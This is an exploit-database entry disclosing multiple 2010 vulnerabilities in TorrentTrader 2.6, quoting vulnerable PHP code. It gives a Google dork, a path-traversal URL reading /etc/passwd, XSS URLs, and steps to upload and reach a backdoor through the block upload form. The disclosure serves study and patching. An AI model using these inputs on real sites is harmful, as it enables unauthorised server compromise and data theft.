发布 2010-12-29 漏洞条目

Discovery TorrentTrader 2.6 – Multiple Vulnerabilities

Exploit Source

# Exploit Title: TorrentTrader 2.6 Multiple vulnerabilities

# Google Dork: "Powered by TorrentTrader v2.06"

# Date: 29 Décembre 2010

# Author: EsS4ndre

# Software Link: http://sourceforge.net/projects/torrenttrader/files/TorrentTrader%20v2/TorrentTrader-v2.06/

# Version: 2.6

# Tested on: Linux

-----------------------------------------------------------------------------------------------------------------

blocks-edit.php

Line 27:

if($preview){

echo "<a name=\"".$name."\"></a>";

begin_frame("Block preview");

echo " <center>"._BLC_USE_SITE_SET_."<hr>";

echo "<table border=0 width=200 align=\"center\"><tr><td>";

include("blocks/".$name."_block.php");

echo "</td></tr></table><hr>";

echo "<center><a href=\"javascript: self.close();\">"._CLS_WIN_."</a></center>";

end_frame();

stdfoot();

die();

The variable $preview isn't declared in the file, so it's exploitable from the url for example.

http://localhost/blocks-edit.php?preview=1&name=../../../../../../../etc/passwd%00

Line 28:

echo "<a name=\"".$name."\"></a>";

Like the variable $name isn't declared, it's exploitable for a XSS from the url.

http://localhost/blocks-edit.php?preview=1&name=[XSS]

Line 46:

if($addnew){

foreach($addnew as $addthis){

$i = $addthis;

$addblock = $_POST["addblock_".$i];

$wantedname = "'".$_POST["wantedname_".$i]."'";

$name = "'".str_replace("_block.php","",$addblock)."'";

$description = "'".$_POST["wanteddescription_".$i]."'";

mysql_query("INSERT INTO blocks (named, name, description, position, enabled, sort)

VALUES ($wantedname, $name, $description, 'left', 0, 0)") or ((mysql_errno() == 1062)

? show_error_msg("Error","Sorry, this block is in database already!",1) :

show_error_msg("Error","Database Query failed: " . mysql_error()));

if(mysql_affected_rows() != 0){

$success = "<center>"._SUCCESS_ADD_."</center> ";

}

The variables $description, $addblock, $name and $wantedname aren't filtered, so it's vulnerable for a sql injection.

Line 189:

if($left){

mysql_query("UPDATE blocks SET position = 'left', sort = $nextleft WHERE id = ".$left)

or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());

The variable $left isn't declared in the file, so it's vulnerable to Sql injection from the url.

It's exploitable with a csrf.

Line 196:

if($middle){

mysql_query("UPDATE blocks SET position = 'middle', sort = $nextmiddle WHERE id = ".$middle)

or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());

The variable $middle isn't declared in the file, so it's vulnerable to Sql injection from the url.

Line 203:

if($right){

mysql_query("UPDATE blocks SET position = 'right', sort = $nextright WHERE enabled=1 AND id = ".$right)

or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());

The variable $right isn't declared in the file, so it's vulnerable to Sql injection from the url.

Line 210:

if($up){

$cur = mysql_query("SELECT position, sort, id FROM blocks WHERE id = $up");

$curent = mysql_fetch_assoc($cur);

mysql_query("UPDATE blocks SET sort = ".$sort." WHERE sort = ".($sort-1)." AND

id != $up AND position = '".$position."'") or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());

mysql_query("UPDATE blocks SET sort = ".($sort-1)." WHERE id=$up")

or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());

}

The variable $up isn't declared in the file, so it's vulnerable to Sql injection.

Line 219:

if($down){

$cur = mysql_query("SELECT position, sort, id FROM blocks WHERE id = $down");

$curent = mysql_fetch_assoc($cur);

mysql_query("UPDATE blocks SET sort = ".($sort+1)." WHERE id=$down")

or show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());

mysql_query("UPDATE blocks SET sort = ".$sort." WHERE sort = ".($sort+1)."

AND id != $down AND position = '".$position."'") or

show_error_msg(_ERROR_,_FAIL_DB_QUERY_.": " . mysql_error());

}

The variable $down isn't declared in the file, so it's vulnerable to Sql injection.

Info:

- Register_globale is required

- There needs to be admin

- All this vulnerabilities are exploitables by crsf.

Line 82 to 146:

The upload form doesn't filter uploaded files.

So, it's possible to send a backdoor on the server with the upload form.

Rename the backdoor in backdoor_block.php and the file will be uploaded in the /blocks directory.

http://localhost/blocks/backdoor_block.php

=================================================================================================================

torrents-import.php

Line 101 :

$ret = mysql_query("INSERT INTO torrents (filename, owner, name, descr, image1,

image2, category, added, info_hash, size, numfiles, save_as, announce, external,

nfo, torrentlang, anon) VALUES (".sqlesc($fname).", '".$CURUSER['id']."', ".sqlesc($name).",

".sqlesc($descr).", '".$inames[0]."', '".$inames[1]."', '".$type."', '" . get_date_time() . "',

'".$infohash."', '".$torrentsize."', '".$filecount."', ".sqlesc($fname).", '".$announce."',

'".$external."', '".$nfo."', '".$langid."','$anon')");

Sql vulnérability, the variable $type isn't declared.

Info:

- There needs to be moderator

- Register_globale is required.

=================================================================================================================

report.php

The variables $takeuser, $takeuser, $takeforumid, $takecomment, $takeforumpost are vulnerable

to sql injection and the variable $takereason is vulnerable to XSS.

Line 40:

$res = mysql_query("SELECT id FROM reports WHERE addedby = $CURUSER[id] AND votedfor = $takeuser AND type = 'user'");

Line 43:

mysql_query("INSERT into reports (addedby,votedfor,type,reason) VALUES ($CURUSER[id],$takeuser,'user', '$takereason')");

Line 44:

print("User: $takeuser, Reason: $takereasonSuccessfully Reported");

Line 65:

$res = mysql_query("SELECT id FROM reports WHERE addedby = $CURUSER[id] AND votedfor = $taketorrent AND type = 'torrent'");

Line 68:

print("Torrent: $taketorrent, Reason: $takereasonSuccessfully Reported");

Line 89:

$res = mysql_query("SELECT id FROM reports WHERE addedby = $CURUSER[id] AND votedfor = $takecomment AND type = 'comment'");

Line 92:

print("Comment: $takecomment, Reason: $takereasonSuccessfully Reported");

Line 113:

$res = mysql_query("SELECT id FROM reports WHERE addedby = $CURUSER[id] AND votedfor= $takeforumid AND

votedfor_xtra= $takeforumpost AND type = 'forum'");

Line 117:

print("User: $takeuser, Reason: $takereasonSuccessfully Reported");

=================================================================================================================

/torrents.php

The variable $parent_check isn't declared in the file, so it's vulnerable to sql injection.

Line 89:

$res = mysql_query("SELECT COUNT(*) FROM torrents LEFT JOIN categories

ON category = categories.id $where $parent_check") or die(mysql_error());

Line 94:

if ($count) {

list($pagertop, $pagerbottom, $limit) = pager(20, $count, "torrents.php?" . $addparam);

$query = "SELECT torrents.id, torrents.anon, torrents.announce, torrents.category, torrents.leechers,

torrents.nfo, torrents.seeders, torrents.name, torrents.times_completed, torrents.size, torrents.added,

torrents.comments, torrents.numfiles, torrents.filename, torrents.owner, torrents.external,

torrents.freeleech, categories.name AS cat_name, categories.parent_cat AS cat_parent,

categories.image AS cat_pic, users.username, users.privacy, IF(torrents.numratings < 2,

NULL, ROUND(torrents.ratingsum / torrents.numratings, 1)) AS rating FROM torrents LEFT

JOIN categories ON category = categories.id LEFT JOIN users ON torrents.owner = users.id

$where $parent_check $orderby $limit";

$res = mysql_query($query) or die(mysql_error());

}else{

unset($res);

}

Info:

Register_globale is required.

=================================================================================================================

/torrents-search.php

The variable parent_cat and parent_check aren't securised in this file.

Line 10:

$parent_cat = $_GET["parent_cat"];

Line 167:

$res = mysql_query("SELECT COUNT(*) FROM torrents $where $parent_check") or die(mysql_error());

Line 191;

$res = mysql_query("SELECT COUNT(*) FROM torrents $where $parent_check");

Line 212:

if ($count) {

//SEARCH QUERIES!

list($pagertop, $pagerbottom, $limit) = pager(20, $count, "torrents-search.php?" . $addparam);

$query = "SELECT torrents.id, torrents.anon, torrents.announce, torrents.category, torrents.leechers,

torrents.nfo, torrents.seeders, torrents.name, torrents.times_completed, torrents.size, torrents.added,

torrents.comments, torrents.numfiles, torrents.filename, torrents.owner, torrents.external,

torrents.freeleech, categories.name AS cat_name, categories.parent_cat AS cat_parent,

categories.image AS cat_pic, users.username, users.privacy, IF(torrents.numratings < 2,

NULL, ROUND(torrents.ratingsum / torrents.numratings, 1)) AS rating FROM torrents LEFT

JOIN categories ON category = categories.id LEFT JOIN users ON torrents.owner = users.id

$where $parent_check $orderby $limit";

$res = mysql_query($query) or die(mysql_error());

}else{

unset($res);

}

Line 217:

$query = "SELECT torrents.id, torrents.anon, torrents.announce, torrents.category,

torrents.leechers, torrents.nfo, torrents.seeders, torrents.name, torrents.times_completed,

torrents.size, torrents.added, torrents.comments, torrents.numfiles, torrents.filename,

torrents.owner, torrents.external, torrents.freeleech, categories.name AS cat_name,

categories.parent_cat AS cat_parent, categories.image AS cat_pic, users.username,

users.privacy, IF(torrents.numratings < 2, NULL, ROUND(torrents.ratingsum / torrents.numratings, 1))

AS rating FROM torrents LEFT JOIN categories ON category = categories.id LEFT JOIN users

ON torrents.owner = users.id $where $parent_check $orderby $limit";

$res = mysql_query($query) or die(mysql_error());

Line 257:

$subcatsquery = mysql_query("SELECT id, name, parent_cat FROM categories WHERE parent_cat='$parent_cat'

ORDER BY name")or die(mysql_error());

- Need magic_quotes: off.

Info:

Register_globale is required

=================================================================================================================

/faq.php

The data returned from the sql query are displayed without being filtered and it's possible

to inject javascript from the administrator pannel (/faq-actions.php). So it's vulnerable to XSS.

=================================================================================================================

/faq-actions.php

The variable $_POST[order] isn't filtered, it's vulnerable to sql injection.

Line 20:

if ($_GET[action] == "reorder") {

foreach($_POST[order] as $id => $position) mysql_query("UPDATE `faq` SET `order`='$position' WHERE id='$id'");

header("Refresh: 0; url=faq-manage.php");

}

The variable $_GET[id] isn't filtere, so it's vulnerable to sql injection.

Line 31:

$res = mysql_query("SELECT * FROM `faq` WHERE `id`='$_GET[id]' LIMIT 1");

The variables $_POST[flag], $_POST[categ] and $_POST[id] aren't filtered, so it's vulnerable to sql injection.

Line 72:

elseif ($_GET[action] == "edititem" && $_POST[id] != NULL && $_POST[question] != NULL &&

$_POST[answer] != NULL && $_POST[flag] != NULL && $_POST[categ] != NULL) {

$question = addslashes($_POST[question]);

$answer = addslashes($_POST[answer]);

mysql_query("UPDATE `faq` SET `question`='$question', `answer`='$answer', `flag`='$_POST[flag]',

`categ`='$_POST[categ]' WHERE id='$_POST[id]'");

header("Refresh: 0; url=faq-manage.php");

}

Line 80:

elseif ($_GET[action] == "editsect" && $_POST[id] != NULL && $_POST[title] != NULL && $_POST[flag] != NULL) {

$title = addslashes($_POST[title]);

mysql_query("UPDATE `faq` SET `question`='$title', `answer`='', `flag`='$_POST[flag]', `categ`='0' WHERE id='$_POST[id]'");

Line 87:

elseif ($_GET[action] == "delete" && isset($_GET[id])) {

if ($_GET[confirm] == "yes") {

mysql_query("DELETE FROM `faq` WHERE `id`='$_GET[id]' LIMIT 1");

header("Refresh: 0; url=faq-manage.php");

}

Line 139:

elseif ($_GET[action] == "addnewitem" && $_POST[question] != NULL && $_POST[answer] != NULL

&& $_POST[flag] != NULL && $_POST[categ] != NULL) {

$question = addslashes($_POST[question]);

$answer = addslashes($_POST[answer]);

$res = mysql_query("SELECT MAX(`order`) FROM `faq` WHERE `type`='item' AND `categ`='$_POST[categ]'");

while ($arr = mysql_fetch_array($res, MYSQL_BOTH)) $order = $arr[0] + 1;

mysql_query("INSERT INTO `faq` (`type`, `question`, `answer`, `flag`, `categ`, `order`) VALUES

('item', '$question', '$answer', '$_POST[flag]', '$_POST[categ]', '$order')");

header("Refresh: 0; url=faq-manage.php");

}

Line 149:

elseif ($_GET[action] == "addnewsect" && $_POST[title] != NULL && $_POST[flag] != NULL) {

$title = addslashes($_POST[title]);

$res = mysql_query("SELECT MAX(`order`) FROM `faq` WHERE `type`='categ'");

while ($arr = mysql_fetch_array($res, MYSQL_BOTH)) $order = $arr[0] + 1;

mysql_query("INSERT INTO `faq` (`type`, `question`, `answer`, `flag`, `categ`, `order`) VALUES

('categ', '$title', '', '$_POST[flag]', '0', '$order')");

header("Refresh: 0; url=faq-manage.php");

}

Info:

There needs to be admin

=================================================================================================================

/admincp.php

Line 347:

if (mysql_query("INSERT INTO stylesheets (name, uri) VALUES ('$_POST[name]', '$_POST[uri]')"))

The variable $_POST[name] and $_POST[uri] are vulnerable to sql injection.

Line 348:

show_error_msg("Success", "Theme '$_POST[name]' added.", 0);

The variable $_POST[name] isn't filtered, so it's vulnerable to XSS.

Line 588:

print("<input type=hidden name=returnto value=$returnto>\n");

The variable $returnto isn't filtered, so it's vulnerable to XSS.

Line 793:

mysql_query("UPDATE torrents SET category=$newcatid WHERE category=$id") or die(mysql_error());

The variable $newcatid isn't filtered, so it's vulnerable to sql injection.

Line 1406:

$url = " .$_SERVER[PHP_SELF]";

$count = $row[0];

$perpage = 40;list($pagertop, $pagerbottom, $limit) = pager($perpage, $count, $url);

print(" Current Email Bans ($count)\n");

$url isn't filtered and pager() does not filter anything. So it's vulnerable to XSS.

Line 2006:

$query = mysql_query("SELECT id FROM users WHERE class IN (".implode(",", $updateset).")");

The variable $updateset isn't filtered, so it's vulnerable to sql injection.

Line 2340:

if($action == "censor") {

stdhead("Censor");

navmenu();

//Output

if ($_POST['submit'] == 'Add Censor'){

$query = "INSERT INTO censor (word, censor) VALUES ('" . $_POST['word'] . "','" . $_POST['censor'] . "');";

mysql_query($query);

}

if ($_POST['submit'] == 'Delete Censor'){

$aquery = "DELETE FROM censor WHERE word = '" . $_POST['censor'] . "' LIMIT 1";

mysql_query($aquery);

}

The variables $_POST['word'] and $_POST['censor'] aren't filtered, so it's vulnerable to sql injection.

Info:

There needs to be admin

=================================================================================================================

admin-modtasks.php

Line 71:

mysql_query("UPDATE users SET title=".sqlesc($title).", downloaded='$downloaded',

uploaded='$uploaded', signature=".sqlesc($signature).", avatar='$avatar', ip='$ip',

donated='$donated', forumbanned='$forumbanned', warned='$warned', modcomment='$modcomment',

enabled='$enabled', invites='$invites' WHERE id=$userid");

The variables $invites, $enabled, $modcomment, $warned, $forumbanned,

$donated, $ip, $avatar, $uploaded and $downloaded are vulnerable to sql injection.

Info:

There needs to be admin

=================================================================================================================

/backend/functions.php

Line 136:

function getip() {

if (isset($_SERVER)) {

if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && validip($_SERVER['HTTP_X_FORWARDED_FOR'])) {

$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];

} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && validip($_SERVER['HTTP_CLIENT_IP'])) {

$ip = $_SERVER['HTTP_CLIENT_IP'];

} else {

$ip = $_SERVER['REMOTE_ADDR'];

}

} else {

if (getenv('HTTP_X_FORWARDED_FOR') && validip(getenv('HTTP_X_FORWARDED_FOR'))) {

$ip = getenv('HTTP_X_FORWARDED_FOR');

} elseif (getenv('HTTP_CLIENT_IP') && validip(getenv('HTTP_CLIENT_IP'))) {

$ip = getenv('HTTP_CLIENT_IP');

} else {

$ip = getenv('REMOTE_ADDR');

}

return $ip;

}

It's possible of spoof your ip address with the header X-Forwarded-For or Client-ip.

Use $_SERVER['HTTP_X_FORWARDED_FOR'] or $_SERVER['HTTP_CLIENT_IP'] isn't secured.

Prefer using $_SERVER['REMOTE_ADDR'].

Line 296:

function show_error_msg($title, $message, $wrapper = "1") {

if ($wrapper=="1") {

stdhead($title);

//echo "DEBUG: stdhead Wrapper ON/Kill php gen further";//remove later

}

begin_frame("". htmlspecialchars($title) ."");

print("<CENTER>" . stripslashes(sqlesc($message)) . "</CENTER>\n");

end_frame();

if ($wrapper=="1"){

stdfoot();

die();

}

if the $message variable isn't filtered before being passed as a parameter to the function that is vulnerable to XSS.

=================================================================================================================

/backend/smilies.php

Line 159:

function insert_smilies_frame () {

GLOBAL $site_config, $smilies;

echo "<table><tr><td class=\"colhead\">Type...</td><td class=\"colhead\">To make a...</td></tr>";

foreach ($smilies as $code => $url) {

echo "<tr><td>$code</td><td><a href=\"javascript:window.opener.SmileIT('$code',

'$_GET[form]', '$_GET[text]')\"><img src=\"$site_config[SITEURL]/images/smilies/$url\"

alt=\"$code\" title=\"$code\" border=\"0\"></a></td></tr>";

}

echo "</table>";

}

The variable $_GET[form] and $_GET[text] are vulnerable to XSS.

http://localhost/backend/smilies.php?action=display&text=[XSS]

/backend/smilies.php is included in backend/functions.php, so it's exploitable with all the files that contain this include.

-----------------------------------------------------------------------------------------------------------------

Greetz and Thanks to :

Mr Pad, Sh0ck, Syscall, PhOeNiX95, BestPig, Spl3en, Xylitol, Nico and those i forgot <3

-----------------------------------------------------------------------------------------------------------------

作者: EsS4ndre
日期: 2010-12-29
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection